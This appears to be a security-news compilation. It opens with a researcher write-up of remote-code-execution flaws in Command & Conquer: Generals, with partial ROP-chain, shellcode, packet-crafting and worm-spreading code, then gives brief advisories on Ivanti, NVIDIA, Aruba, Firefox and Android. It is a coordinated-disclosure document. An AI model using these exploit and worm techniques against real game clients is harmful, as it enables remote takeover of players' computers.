# General Graboids: Worms and Remote Code Execution in Command & Conquer — Atredis Partners
_\[this work was conducted collaboratively by Bryan Alexander and Jordan Whitehead\]_

The following GCVE were assigned:

- [gcve-1-2026-0009](https://vulnerability.circl.lu/vuln/gcve-1-2026-0009)
- [gcve-1-2026-0010](https://vulnerability.circl.lu/vuln/gcve-1-2026-0010)
- [gcve-1-2026-0011](https://vulnerability.circl.lu/vuln/gcve-1-2026-0011)

Report taken from: https://www.atredis.com/blog/2026/1/26/generals

This post details several vulnerabilities discovered in the online game Command & Conquer: Generals. We recently presented some of this work at an information security conference and this post contains technical details about the game’s network architecture, its exposed attack surface, discovered vulnerabilities, and full details of a worm we developed to demonstrate impact.

Full source code, including PoCs, can be found in our public Github repository [here](https://github.com/atredispartners/general-graboids). Though the game is considered end-of-life by Electronic Arts, publicly available community patches are available addressing these issues; for more information see [this project](https://github.com/TheSuperHackers/GeneralsGameCode?tab=readme-ov-file#running-the-game).

Research introduction
---------------------

In early 2025, EA Games released the [source code](https://github.com/electronicarts/CnC_Generals_Zero_Hour) for Command & Conquer: Generals (C&C:G), the final installment in the real-time strategy (RTS) series popular in the late 1990’s and early 2000’s. Included in this source release was Zero Hour, the first and only expansion released in 2003, the same year as Generals. The game was released with both single and multiplayer gameplay, with multiplayer supporting LAN and online lobbies via the GameSpy service. Gamespy eventually went defunct in 2014 and along with it the online C&C:G servers.

[Junkyard](https://www.districtcon.org/junkyard) is an end-of-life pwnathon where researchers bring zero-day vulnerabilities to end-of-life (EoL) products, be it hardware, software, firmware, or a combination of the three. Points are given based on impact, presentation engagement and quality, and overall silliness. The event is held during Districtcon, a relatively new information security conference held yearly in Washington DC. We loved the idea of the event and were eager to identify potential targets to contribute. C&C:G fit the bill as both interesting and EoL’d.

When we first started the project we were kicking around ideas for fuzzing the network layer, but once we spent a little bit of time with the code, we found there really was no need.

Target overview
---------------

The source code includes all core components including the engine, networking stack, and various clients, but does not include models and other proprietary dependencies (such as third-party licensed tooling). This means the game cannot be built straight from the repository as is. Instead of attempting to build the game, we instead picked up a few licenses from Steam to provide dynamic instrumentation alongside our static code review.

When a client starts a game lobby, UDP port 8086 is opened up. This is the lobby port and exclusively processes meta-game commands and requests, such as player join, leave, chat, and more. For game packets used to synchronize state, trigger actions, and other combat activities, a separate port is opened once the game begins on port 8088.

![Network Architecture](https://images.squarespace-cdn.com/content/v1/576323cfd482e984e113fe9c/0a8948a5-c754-401b-b620-fb222a9ae251/network-arch.jpg)

C&C:G Network Architecture

While C&C:G has a peer-to-peer based networking architecture where the host can function as a packet router to all clients, it’s not relevant to the overall attack surface. Each client that connects must be accessible over both of these ports. When played on LAN, this means 0.0.0.0:8086 and 0.0.0.0:8088 must both be routable.

Packet format to both ports follows a similar structure with a few key differences:

```
+-------------------------------------------------------------+
| Wordwise XOR/Endian-swap Encrypted Payload                  |
|                                                             |
|   +----------------------+--------------------------------+ |
|   | CRC32 (LE)           | 4 bytes                        | |
|   +----------------------+--------------------------------+ |
|   | Magic                | 0D F0                          | |
|   +----------------------+--------------------------------+ |
|   | Header               | 1 bytes                        | |
|   +----------------------+--------------------------------+ |
|   | Data                 | up to MAX_FRAG_SIZE bytes      | |
|   +----------------------+--------------------------------+ |
|   | Padding              | 4 byte boundary                | |
|   +-------------------------------------------------------+ |
+-------------------------------------------------------------+
```

The above is the general shape of each packet, which includes a mandatory four byte CRC32 and two byte magic header. Each packet is XOR encoded using a hard-coded key and has a relatively robust packet fragmentation mechanism.

The header is a type header that roughly follows the standard tag-length-value (TLV) format and is recursively parsed by receiving clients. The following is an example of a `NETCOMMANDTYPE_FILE` packet (received on the lobby port):

```
+---------+---------------------------+-------------------------------+
| Offset  | Bytes                    | Description                    |
+---------+---------------------------+-------------------------------+
| 00–03   | fc 37 a9 53              | CRC32 (LE)                     |
+---------+---------------------------+-------------------------------+
| 04–05   | 0d f0                    | Magic                          |
+---------+---------------------------+-------------------------------+
| 06      | 54                       | Command Type Tag (‘T’)         |
+---------+---------------------------+-------------------------------+
| 07      | 12                       | Command Type Value             |
+---------+---------------------------+-------------------------------+
| 08      | 44                       | Data Type Tag (‘D’)            |
+---------+---------------------------+-------------------------------+
| 09–N    | <string>                 | First Data Value               |
+---------+---------------------------+-------------------------------+
| N–N+4   | 04 00 00 00              | Data Length (LE uint32)        |
+---------+---------------------------+-------------------------------+
| N–N+4   | 41 41 41 41              | Second Data Value ("AAAA")     |
+---------+---------------------------+-------------------------------+
| N–N     | 40 40                    | Padding (4 byte boundary)      |
+---------+---------------------------+-------------------------------+

```

The type tag is specified at offset 07 (0x12) and the data for that tag follows the data type tag at offset 08. This structure allows each type to individually parse its section and optionally support multiple types per packet.

Message parsing takes place inside [NetPacket](https://github.com/electronicarts/CnC_Generals_Zero_Hour/blob/0a05454d8574207440a5fb15241b98ad0b435590/GeneralsMD/Code/GameEngine/Source/GameNetwork/NetPacket.cpp#L43) objects and, as you might expect, parses the command type tag inside a massive if/else statement:

```
if (commandType == NETCOMMANDTYPE_GAMECOMMAND) {
    msg = readGameMessage(data, offset);
} else if (commandType == NETCOMMANDTYPE_ACKBOTH) {
    msg = readAckBothMessage(data, offset);
} else if (commandType == NETCOMMANDTYPE_ACKSTAGE1) {
    msg = readAckStage1Message(data, offset);
} else if (commandType == NETCOMMANDTYPE_ACKSTAGE2) {
    msg = readAckStage2Message(data, offset);
...

```

Handlers are then responsible for parsing the data portion and actioning it as necessary.

Vulnerabilities
---------------

### Filename Stack Overflow

We discovered the first memory corruption vulnerability in the net command handlers `NetPacket::readFileMessage` and `NetPacket::readFileAnnounceMessage`. These commands could be sent to any peer inside a multiplayer game (even if the attacker were not a member of the game).

```
NetCommandMsg * NetPacket::readFileMessage(UnsignedByte *data, Int &i) {
    NetFileCommandMsg *msg = newInstance(NetFileCommandMsg);
    char filename[_MAX_PATH];
    char *c = filename;

    while (data[i] != 0) {
        *c = data[i];
        ++c;
        ++i;
    }
    *c = 0;
    ++i;
    msg->setPortableFilename(AsciiString(filename));    // it's transferred as a portable filename

    UnsignedInt dataLength = 0;
    memcpy(&dataLength, data + i, sizeof(dataLength));
    i += sizeof(dataLength);

    UnsignedByte *buf = NEW UnsignedByte[dataLength];
    memcpy(buf, data + i, dataLength);
    i += dataLength;

    msg->setFileData(buf, dataLength);

    return msg;
}

```

While not quite as simple as grepping for memcpy, it was easy to catch the stack buffer of size `_MAX_PATH` next to a loop copying untrusted data until hitting a NULL. We confirmed the issue at first by injecting packets in the processing loop using Frida, then later through a Python client.

```
(3d80.b28): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled.
eax=0ccc5974 ebx=1f138298 ecx=41414141 edx=0019f700
esi=0ccad888 edi=ffffffff eip=44444444 esp=0019f900
ebp=00000013 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206
44444444 ?? ???
```

Proving out exploitation for this bug was a nostalgic experience. The game runs in 32-bit mode and many of the libraries used are not randomized with ASLR. This meant that this bug alone was sufficient to gain code execution on a remote machine. While game packets do have a limited length, they also support a fragmented packet format that allows for larger payloads through a `NetCommandWrapperList` object. With no client authentication and a simple static XOR for “encryption”, we were able to make a static payload that could exploit any game peer. (The “just for fun” comment is in the original source.)

```
static inline void encryptBuf( unsigned char *buf, Int len )
{
    UnsignedInt mask = 0x0000Fade;

    UnsignedInt *uintPtr = (UnsignedInt *) (buf);

    for (int i=0 ; i<len/4 ; i++) {
        *uintPtr = (*uintPtr) ^ mask;
        *uintPtr = htonl(*uintPtr);
        uintPtr++;
        mask += 0x00000321; // just for fun
    }
}

```

The libraries that did not randomize their address space were not huge, but had sufficient gadgets for our needs. The main constraint on our RoP chain was avoiding NULL bytes which would end the overflow. Our initial portion of the chain pivoted to the rest of our chain in the packet, using pointers available in registers at the time of EIP control. After pivoting the stack, our ROP chain set up a RWX portion of memory, copied in our shellcode, and executed it.

```
    #...
    # chain with nulls allowed
    c = b""

    # save a reference to the old stack for later cleanup
    # no regs to use so use extra space in rw seg
    c += G_POP_ECX
    c += dw(EXTRA_RW_SPACE + 0)
    c += G_MOV_PTRECX_EAX

    # get a reference to VirtualAlloc from mss32.dll
    c += G_POP_EAX
    c += VIRTUALALLOC_PTR
    c += G_MOV_EAX_PTREAX

    # call virtualalloc
    # this messes up the heap we are using as a stack
    # so first pad a bunch
    c += (G_ADD_ESP_104 + (b"B" * (esp_adjust_amount-4))) * (fake_stack_pad_amt // esp_adjust_amount)

    c += G_JMP_EAX
    c += G_R # return
    c += dw(0) # lpAddress = NULL
    c += dw(0x4000) # dwSize
    c += dw(0x1000) # flAllocationType = MEM_COMMIT
    c += dw(0x40) # flProtect = PAGE_EXECUTE_READWRITE
    #...

```

![Some C&C characters standing around, unaware the game was just exploited](https://images.squarespace-cdn.com/content/v1/576323cfd482e984e113fe9c/b385e017-ee25-4627-a035-d3f5021a839b/image3.png)

← They have no idea how close they were to SEGFAULT

Our python harness could craft payloads with shellcode to run arbitrary commands, or load libraries from a given path. By being careful with our initial NULL-less RoP chain, we were able to avoid corrupting too much of the stack, and our exploit restores the stack to an earlier frame (`ConnectionManager::doRelay`) without missing a beat.

```
    mov edi, esp
stack_search_loop:
    add edi, 4

    mov eax, GEN_ZH_UNPATCHED_DORELAY_RET
    cmp [edi], eax
    je stack_search_found_zhun

    mov eax, GEN_ZH_PATCHED_DORELAY_RET
    cmp [edi], eax
    je stack_search_found_zhpa

    jmp stack_search_loop
    # ...

```

![](https://images.squarespace-cdn.com/content/v1/576323cfd482e984e113fe9c/2ebf91e4-146a-4504-bcc8-5fa9375485b7/rop-exec.jpg)

Exploit Flow

### Arbitrary File Drop

This stack overflow was not the only exploitable issue we encountered. That same network command handler, `NetPacket::readFileMessage`, did not properly constrain files that were sent from a peer. Files of arbitrary extensions were accepted, as well as file paths outside of the original game directory. Simply sending a properly named .dll file was sufficient to ensure remote code execution the next time the game was started.

```
void ConnectionManager::processFile(NetFileCommandMsg *msg)
{
    if (TheFileSystem->doesFileExist(msg->getRealFilename().str()))
    {
        DEBUG_LOG(("File exists already!\n"));
        //return;
    }

    UnsignedByte *buf = msg->getFileData();
    Int len = msg->getFileLength();

    File *fp = TheFileSystem->openFile(msg->getRealFilename().str(), File::CREATE | File::BINARY | File::WRITE);
    if (fp)
    {
        fp->write(buf, len);
        fp->close();
        fp = NULL;
        DEBUG_LOG(("Wrote %d bytes to file %s!\n",len,msg->getRealFilename().str()));

    }

```

### Out-of-Bounds Write

Another interesting issue we found was in the packet fragmentation logic used earlier to support our large exploit payload.

```
void NetCommandWrapperListNode::copyChunkData(NetWrapperCommandMsg *msg) {
    if (msg == NULL) {
        DEBUG_CRASH(("Trying to copy data from a non-existent wrapper command message"));
        return;
    }

    if (m_chunksPresent[msg->getChunkNumber()] == TRUE) {
        // we already received this chunk, no need to recopy it.
        return;
    }

    m_chunksPresent[msg->getChunkNumber()] = TRUE;
    UnsignedInt offset = msg->getDataOffset();
    memcpy(m_data + offset, msg->getData(), msg->getDataLength());
    ++m_numChunksPresent;
}

```

In the above function the `msg->getDataOffset()` call returns a controlled `UnsignedInt` without any restrictions. The `msg->getDataLength()` is likewise controlled by the sender. `msg->getData()` points to unfiltered packet data, resulting in a very straightforward out-of-bounds write from any offset to the `m_data` member. The size of the `m_data` member is determined by the initial wrapper command, and no checks are made to ensure the subsequent chunks of data are within the allocation.

```
  frag = b""
  frag += b'T\x11'
  frag += b"C" + struct.pack("<H", cmdid)
  frag += b'D'
  frag += struct.pack("<H", wrapped_cmdid)
  frag += struct.pack("<I", ci)
  frag += struct.pack("<I", len(chunks))
  frag += struct.pack("<I", len(payload))
  frag += struct.pack("<I", len(chunks[ci]))  # Controlled Write Length
  frag += struct.pack("<I", offset)           # Controlled Write Offset
  frag += chunks[ci]                          # Controlled Data

  offset += len(chunks[ci])
  frags.append(frag)

```

Worming
-------

Once we had reliable remote code execution vulnerabilities developed, we turned our attention to the payload. Because of the nature of peer-to-peer multiplayer gaming, the ability for an infected player to further spread the infection to all other players, both in the present game and future games, was an appealing one.

Building a worm is relatively straightforward once you’ve infected a single user. The overall flow for infection is summarized by the following diagram:

![Worm Diagram](https://images.squarespace-cdn.com/content/v1/576323cfd482e984e113fe9c/78e39d09-7be3-4d27-af32-f0985c253b65/image2.png)

Worming Flow

We’ll dig into the details of each step by step.

**_Delivery_**

As previously described, C&C:G’s online architecture is peer-to-peer; this means each player must be accessible via both their game and lobby ports. We first leverage the readFileMessage file write vulnerability to drop a DLL to disk, containing the worming capabilities and command-and-control functionality for continued abuse.

The DLL is dropped into the root folder of C&C:G which, on each launch of the game, will attempt to load a file called dbghelp.dll from the local path. The payload is written as a standard Windows DLL that executes on process attach. Once the file is written it then needs to be loaded. While there are certain techniques we found that could be leveraged to load the DLL mid-game, they weren’t as reliable as we’d like. Instead we opted to trigger the memory corruption in `readFileMessage` and deliver a LoadLibrary payload.

**_Trigger_**

Once the worm is installed for persistence and loaded into the currently running game, we can begin to set up hooks and listen for magic packets. Because C&C:G was written in the early 2000’s, it relies on some of the older socket APIs available in Windows. We opted to install Import Address Table (IAT) hooks in the APIs used (WSOCK32.dll) that intercepted all calls to `recvfrom` which was used to process incoming packets from the listening port. If you’re not familiar with how this works, you can read more about IAT hooks [here](https://www.ired.team/offensive-security/code-injection-process-injection/import-adress-table-iat-hooking) or review the `iatHook` function in the provided code above.

Now that we were intercepting packets, we wanted to support two different cases:

1.  Magic packets from remote systems

2.  Magic chat messages

The first case was intended to support remote attackers executing arbitrary payloads or commands on the system and surreptitiously gain access to the underlying game engine. The second was intended to support in-game magic chat commands which could be hidden from victims. We’ll detail these in the next few sections.

Because packet formats are well structured it’s relatively easy to parse these out. We opted to reuse this structure to setup magic packet support so as to not impact uninfected systems in-game:

```
if (*cursor == 'T') {
    cbNetType = cursor[1];
    cursor += 2;

    // check if this command has our magic bytes
    if (containsMagicWord(buf, rlen)) {
        // it does, process and drop the packet
        handleInfectorPkt(buf, rlen);

        memset(buf, 0x0, len);
        rlen = 0;

        goto RECRYPT;
    }
}

```

In the above, we reuse the type tag to distinguish between magic packets and standard C&C:G packets. This structure of an infector packet is as follows:

```
0000  41 41 41 41 41 41 54 AD 4E AD DE 00 09 00 00 00   AAAAAAT.N.......
0010  63 61 6C 63 2E 65 78 65 00 40 40 40               calc.exe.@@@
```

Note that the first 6 bytes in the case of the magic packet do not matter; since we are hooking the `recvfrom` function and processing this _before_ the game gets a chance, the checksum need not be validated nor does the C&C:G header need to be inspected. Further, games without the infection will not process the packets due to the missing magic bytes.

Our magic packet bytes (`0xdead4ead`) immediately follow the type tag which we then process as an infector packet.

**_Spread_**

The key to a worm is its ability to autonomously spread itself. To do this, we need to perform a few actions:

1.  Determine who is in a game

2.  Determine if we’ve infected them already

3.  Get their IP addresses

4.  Send the payload

Determining who is in a game is, mercifully, a rather simple task. When players join a game, even when a game starts from a lobby, game messages are sent to all other players and with our hooks we can parse them out:

```
if (*cursor == MSG_JOIN_ACCEPT) {
    OutputDebugStringA("[!] new user joined\n");

    LANMessage* msg = (LANMessage*)(buf + 6);
    OutputDebugStringA(format("[!] userName: %s\n", msg->userName).c_str());
    OutputDebugStringA(format("[!] hostName: %s\n", msg->hostName).c_str());
    OutputDebugStringA(format("[!] game IP address: %08x %s\n",
msg->GameJoined.gameIP,
uintToIP(msg->GameJoined.gameIP).c_str()).c_str());
    OutputDebugStringA(format("[!] user IP address: %08x %s\n",
msg->GameJoined.playerIP,
uintToIP(msg->GameJoined.playerIP).c_str()).c_str());

```

This gives us a full list of players in a game in addition to the IP address of each joined user.

Determining if we’ve infected a player or not is a little more tricky due to the disparate spreading nature of worms. While we can trivially track who we’ve infected within the bounds of a single game, once the worm spreads to other players in other games, another mechanism is needed. For simplicity’s sake we’ve opted to simply track who was infected in a single game. To determine this outside the game, we could implement “are you infected?” magic packets that would respond if they were or remain silent if they were not.

We’ve already established how to obtain a player IP address and now all that’s left is to send the payload. This is done using the strategy outlined in the delivery section above.

**_Payloads_**

Once players in a game have been infected the real fun can begin. Our worm implements the following infector packet types:

```
enum INFECTOR_TYPE
{
    INFECTOR_CMD,
    INFECTOR_ACTION,
};

```

`INFECTOR_CMD` is used to execute arbitrary operating system commands. It was mostly set up for testing, but it’s common for any self-respecting worm to feature this ability so we decided to leave it.

`INFECTOR_ACTION` allows for manipulation of the internal game engine. C&C:G uses a rudimentary scripting engine for use by bots and in-game actions. The game engine implements this under its `ScriptEngine` and you can find the massive switch statement with all supported script actions [here](https://github.com/electronicarts/CnC_Generals_Zero_Hour/blob/0a05454d8574207440a5fb15241b98ad0b435590/GeneralsMD/Code/GameEngine/Source/GameLogic/ScriptEngine/ScriptActions.cpp#L6406). Within our worm, since there is no ASLR, we can invoke the executing functions by address; the following demonstrates how to force the player to sell everything:

```
typedef void(__thiscall* SellEverything_t)(void* thisplayer);
#define FUN_Player_SellEverything	((SellEverything_t)0x454fa0) // v1.05 C&C:G
..
void** pPlayerList = *GPTR_ThePlayerList;
void* pLocalPlayer = pPlayerList[INDX_PlayerList_m_local];
FUN_Player_SellEverything(pLocalPlayer);

```

There is a catch to this, however. The engine is intended only to be used for the local game state and does not percolate changes across players in the game. This, unfortunately, means changes to the local game state desynchronize the player and cause a disconnect. Not ideal!

While we did not investigate how much effort it would take to manually (or automatically via some undiscovered ScriptEngine capability) distribute game updates, a variety of script actions exist that impact only the local instance. This includes things like displaying text, playing sound files, adjusting the camera, and others. These are ultimately what we implemented in the current payload.

Injecting a “SellAll” ScriptAction from the Implant

Fixes
-----

After initial discovery and creation of the PoCs, we reached out to EA Games in August 2025 to report these issues. EA was helpful but confirmed that the issues were not within scope of their support.

> “Command & Conquer: Generals is a legacy title. EA’s official online services for Command & Conquer: Generals were retired several years ago, and multiplayer for this game today is typically provided via a community-run or user-hosted infrastructure, which EA does not operate or control.”

— EA Product Security

EA also received an early copy of our presentation slides for review which we’ve included in the project repository linked above.

Even though C&C:G is a legacy title with no active support, we thought the vulnerabilities were significant enough to warrant CVEs for community tracking. We reached out to EA Games, who are a CNA, to provide CVE’s but they declined on the basis that they do not issue CVEs for legacy titles. We have escalated this conversation to MITRE and are currently in the process of obtaining these for the described bugs. We’ll update this post once they become available.

In December of 2025 we reached out over Discord to maintainers of a community run fork/patch of the game, [GeneralsGameCode](https://github.com/TheSuperHackers/GeneralsGameCode). We coordinated with developers to ensure that they were aware of the issues in the game engine, and had appropriate patches. Some of these vulnerabilities were already being tracked in the community by December, having been independently discovered by community members. We worked with the maintainers to ensure their understanding of the severity of those issues, and disclose other issues. You can see some of the relevant fixes here:

*   [readFileMessage Memory corruption patch](https://github.com/TheSuperHackers/GeneralsGameCode/pull/1981)

*   [Fragmentation memory corruption patch](https://github.com/TheSuperHackers/GeneralsGameCode/pull/1946)

*   [File extension validation patch](https://github.com/TheSuperHackers/GeneralsGameCode/pull/1818)

We want to thank the community developers for their quick response and fixes! It is amazing to see the effort and passion that goes into keeping games like this one alive.

Timeline
--------

*   2025-08-06: Atredis Partners sent an initial notification to vendor

*   2025-08-06: EA Games confirms receipt of the reports

*   2025-08-07: EA Games requests additional platform information

*   2025-08-11: EA Games validates the three vulnerabilities and assigns two high severity and one medium severity

*   2025-08-11: Atredis follows up with additional questions on remediation and disclosure

*   2025-08-26: EA Games provides clarifying information on disclosure and patching

*   2025-12-03: Contacted Legionnaire from https://legi.cc/genpatcher/ to start community disclosure over Discord


# Burning Zero Days: Suspected Nation-State Adversary Targets Ivanti CSA | FortiGuard Labs

Reference: [https://www.fortinet.com/blog/threat-research/burning-zero-days-suspected-nation-state-adversary-targets-ivanti-csa](https://www.fortinet.com/blog/threat-research/burning-zero-days-suspected-nation-state-adversary-targets-ivanti-csa)

Affected Platforms: Ivanti Cloud Services Appliance version 4.6 and prior
Impacted Users: Any organization
Impact: Remote attackers gain control of the vulnerable systems
Severity Level: Critical

Today FortiGuard Labs is releasing this blog post about a case where an advanced adversary was observed exploiting three vulnerabilities affecting the Ivanti Cloud Services Appliance (CSA). At the time of our investigation, two out of the three identified vulnerabilities were not publicly known. This incident is a prime example of how threat actors chain zero-day vulnerabilities to gain initial access to a victim’s network.
Background

In a recent incident response engagement, FortiGuard Incident Response (FGIR) services were engaged by a customer to investigate malicious communication originating from their network. During the investigation, FGIR came across an adversary who had gained access to the customer’s network by exploiting the CVE-2024-8190 and two previously unknown vulnerabilities affecting the PHP front end of the Ivanti CSA appliance.


NVIDIA GPU Display Driver

NVIDIA has released a software security update for NVIDIA GPU Display Driver to address various issues.

CVE‑2024‑0126 - "NVIDIA GPU Display Driver for Windows and Linux contains a vulnerability which could allow a privileged attacker to escalate permissions. A successful exploit of this vulnerability might lead to code execution, denial of service, escalation of privileges, information disclosure, and data tampering."


HPE Aruba Networking Product Security Advisory - HPESBNW04722 -  05-Nov-2024

HPE Aruba Networking has released software patches for Access Points  running Instant AOS-8 and AOS-10 that address multiple security  vulnerabilities.

Reference - [https://csaf.arubanetworks.com/2024/hpe_aruba_networking_-_hpesbnw04722.txt](https://csaf.arubanetworks.com/2024/hpe_aruba_networking_-_hpesbnw04722.txt)


Mozilla Foundation Security Advisory 2024-55
Security Vulnerabilities fixed in Firefox 132

Security Advisory:
https://www.mozilla.org/en-US/security/advisories/mfsa2024-55/

* CVE-2024-10458: Permission leak via embed or object elements
* CVE-2024-10459: Use-after-free in layout with accessibility
* CVE-2024-10460: Confusing display of origin for external protocol handler prompt
* CVE-2024-10461: XSS due to Content-Disposition being ignored in multipart/x-mixed-replace response
* CVE-2024-10462: Origin of permission prompt could be spoofed by long URL
* CVE-2024-10463: Cross origin video frame leak
* CVE-2024-10468: Race conditions in IndexedDB
* CVE-2024-10464: History interface could have been used to cause a Denial of Service condition in the browser
* CVE-2024-10465: Clipboard "paste" button persisted across tabs
* CVE-2024-10466: DOM push subscription message could hang Firefox
* CVE-2024-10467: Memory safety bugs fixed in Firefox 132, Thunderbird 132, Firefox ESR 128.4, and Thunderbird 128.4


Android Security Bulletin November 2024

The Android Security Bulletin contains details of security vulnerabilities affecting Android devices. Security patch levels of 2024-11-05 or later address all of these issues. To learn how to check a device's security patch level, see Check and update your Android version.

Android partners are notified of all issues at least a month before publication. Source code patches for these issues have been released to the Android Open Source Project (AOSP) repository and linked from this bulletin. This bulletin also includes links to patches outside of AOSP.

The most severe of these issues is a high security vulnerability in the System component that could lead to remote code execution with no additional execution privileges needed. The severity assessment is based on the effect that exploiting the vulnerability would possibly have on an affected device, assuming the platform and service mitigations are turned off for development purposes or if successfully bypassed.

Refer to the Android and Google Play Protect mitigations section for details on the Android security platform protections and Google Play Protect, which improve the security of the Android platform.
Android and Google service mitigations

This is a summary of the mitigations provided by the Android security platform and service protections such as Google Play Protect. These capabilities reduce the likelihood that security vulnerabilities could be successfully exploited on Android.

    Exploitation for many issues on Android is made more difficult by enhancements in newer versions of the Android platform. We encourage all users to update to the latest version of Android where possible.
    The Android security team actively monitors for abuse through Google Play Protect and warns users about Potentially Harmful Applications. Google Play Protect is enabled by default on devices with Google Mobile Services, and is especially important for users who install apps from outside of Google Play.

Note: There are indications that the following may be under limited, targeted exploitation.

    CVE-2024-43047
    CVE-2024-43093

2024-11-01 security patch level vulnerability details

In the sections below, we provide details for each of the security vulnerabilities that apply to the 2024-11-01 patch level. Vulnerabilities are grouped under the component they affect. Issues are described in the tables below and include CVE ID, associated references, type of vulnerability, severity, and updated AOSP versions (where applicable). When available, we link the public change that addressed the issue to the bug ID, like the AOSP change list. When multiple changes relate to a single bug, additional references are linked to numbers following the bug ID. Devices with Android 10 and later may receive security updates as well as Google Play system updates.
Framework

The most severe vulnerability in this section could lead to local escalation of privilege with no additional execution privileges needed.
CVE 	References 	Type 	Severity 	Updated AOSP versions
CVE-2024-40660 	A-347307756 [2] 	EoP 	High 	14, 15
CVE-2024-43081 	A-341256043 	EoP 	High 	12, 12L, 13, 14, 15
CVE-2024-43085 	A-353712853 	EoP 	High 	12, 12L, 13, 14, 15
CVE-2024-43093 	A-341680936 	EoP 	High 	12, 13, 14, 15
CVE-2024-43082 	A-296915959 	ID 	High 	12, 12L
CVE-2024-43084 	A-281044385 	ID 	High 	12, 12L, 13, 14, 15
CVE-2024-43086 	A-343440463 	ID 	High 	12, 12L, 13, 14, 15
System

The most severe vulnerability in this section could lead to remote code execution with no additional execution privileges needed.
CVE 	References 	Type 	Severity 	Updated AOSP versions
CVE-2024-43091 	A-344620577 	RCE 	High 	12, 12L, 13, 14, 15
CVE-2024-29779 	A-329701910 	EoP 	High 	14
CVE-2024-34719 	A-242996380 	EoP 	High 	12, 12L, 13, 14
CVE-2024-40661 	A-308138085 	EoP 	High 	12, 12L, 13, 14
CVE-2024-43080 	A-330722900 	EoP 	High 	12, 12L, 13, 14, 15
CVE-2024-43087 	A-353700779 	EoP 	High 	12, 12L, 13, 14, 15
CVE-2024-43088 	A-326057017 	EoP 	High 	12, 12L, 13, 14, 15
CVE-2024-43089 	A-304280682 	EoP 	High 	12, 12L, 13, 14, 15
CVE-2024-43090 	A-331180422 	ID 	High 	12, 12L, 13, 14
CVE-2024-43083 	A-348352288 	DoS 	High 	12, 12L, 13, 14, 15
Google Play system updates

The following issues are included in Project Mainline components.
Subcomponent 	CVE
Documents UI 	CVE-2024-43093
MediaProvider 	CVE-2024-43089
Permission Controller 	CVE-2024-40661
WiFi 	CVE-2024-43083
2024-11-05 security patch level vulnerability details

In the sections below, we provide details for each of the security vulnerabilities that apply to the 2024-11-05 patch level. Vulnerabilities are grouped under the component they affect. Issues are described in the tables below and include CVE ID, associated references, type of vulnerability, severity, and updated AOSP versions (where applicable). When available, we link the public change that addressed the issue to the bug ID, like the AOSP change list. When multiple changes relate to a single bug, additional references are linked to numbers following the bug ID.
Kernel

The most severe vulnerability in this section could lead to local escalation of privilege with no additional execution privileges needed.
CVE 	References 	Type 	Severity 	Subcomponent
CVE-2024-36978 	A-349777785
Upstream kernel [2] 	EoP 	High 	Net
CVE-2024-46740 	A-352520660
Upstream kernel [2] [3] [4] [5] [6] [7] [8] 	EoP 	High 	Binder
Kernel LTS

The following kernel versions have been updated. Kernel version updates are dependent on the version of Android OS at the time of device launch.
References 	Android Launch Version 	Kernel Launch Version 	Minimum Update Version
A-348473863 	12 	5.4 	5.4.274
A-348681334 	12 	4.19 	4.19.312
Imagination Technologies

These vulnerabilities affect Imagination Technologies components and further details are available directly from Imagination Technologies. The severity assessment of these issues is provided directly by Imagination Technologies.
CVE 	References 	Severity 	Subcomponent
CVE-2024-34747
	A-346643520 * 	High 	PowerVR-GPU
CVE-2024-40671
	A-355477536 * 	High 	PowerVR-GPU
Imagination Technologies

These vulnerabilities affect Imagination Technologies components and further details are available directly from Imagination Technologies. The severity assessment of these issues is provided directly by Imagination Technologies.
CVE 	References 	Severity 	Subcomponent
CVE-2023-35659
	A-350006107 * 	High 	PowerVR-GPU
CVE-2023-35686
	A-350527097 * 	High 	PowerVR-GPU
CVE-2024-23715
	A-350530745 * 	High 	PowerVR-GPU
CVE-2024-31337
	A-337944529 * 	High 	PowerVR-GPU
CVE-2024-34729
	A-331437862 * 	High 	PowerVR-GPU
MediaTek components

These vulnerabilities affect MediaTek components and further details are available directly from MediaTek. The severity assessment of these issues is provided directly by MediaTek.
CVE 	References 	Severity 	Subcomponent
CVE-2024-20104
	A-363850556
M-ALPS09073261 * 	High 	DA
CVE-2024-20106
	A-363849996
M-ALPS08960505 * 	High 	m4u
Qualcomm components

These vulnerabilities affect Qualcomm components and are described in further detail in the appropriate Qualcomm security bulletin or security alert. The severity assessment of these issues is provided directly by Qualcomm.
CVE 	References 	Severity 	Subcomponent
CVE-2024-21455
	A-357616450
QC-CR#3839449 [2]
QC-CR#3875202 [2] 	High 	Kernel
CVE-2024-38402
	A-364017423
QC-CR#3890158 	High 	Kernel
CVE-2024-38405
	A-357615761
QC-CR#3754687 	High 	WLAN
CVE-2024-38415
	A-357616194
QC-CR#3775520 [2] 	High 	Camera
CVE-2024-38421
	A-357616018
QC-CR#3793941 	High 	Display
CVE-2024-38422
	A-357616000
QC-CR#3794268 [2] [3] 	High 	Audio
CVE-2024-38423
	A-357615775
QC-CR#3799033 	High 	Display
CVE-2024-43047
	A-364017103
QC-CR#3883647 	High 	Kernel
Qualcomm closed-source components

These vulnerabilities affect Qualcomm closed-source components and are described in further detail in the appropriate Qualcomm security bulletin or security alert. The severity assessment of these issues is provided directly by Qualcomm.
CVE 	References 	Severity 	Subcomponent
CVE-2024-38408
	A-357615875 * 	Critical 	Closed-source component
CVE-2024-23385
	A-339043003 * 	High 	Closed-source component
CVE-2024-38403
	A-357615948 * 	High 	Closed-source component
CVE-2024-38424
	A-357616230 * 	High 	Closed-source component
Common questions and answers

This section answers common questions that may occur after reading this bulletin.

1. How do I determine if my device is updated to address these issues?

To learn how to check a device's security patch level, see Check and update your Android version.

    Security patch levels of 2024-11-01 or later address all issues associated with the 2024-11-01 security patch level.
    Security patch levels of 2024-11-05 or later address all issues associated with the 2024-11-05 security patch level and all previous patch levels.

Device manufacturers that include these updates should set the patch string level to:

    [ro.build.version.security_patch]:[2024-11-01]
    [ro.build.version.security_patch]:[2024-11-05]

For some devices on Android 10 or later, the Google Play system update will have a date string that matches the 2024-11-01 security patch level. Please see this article for more details on how to install security updates.

2. Why does this bulletin have two security patch levels?

This bulletin has two security patch levels so that Android partners have the flexibility to fix a subset of vulnerabilities that are similar across all Android devices more quickly. Android partners are encouraged to fix all issues in this bulletin and use the latest security patch level.

    Devices that use the 2024-11-01 security patch level must include all issues associated with that security patch level, as well as fixes for all issues reported in previous security bulletins.
    Devices that use the security patch level of 2024-11-05 or newer must include all applicable patches in this (and previous) security bulletins.

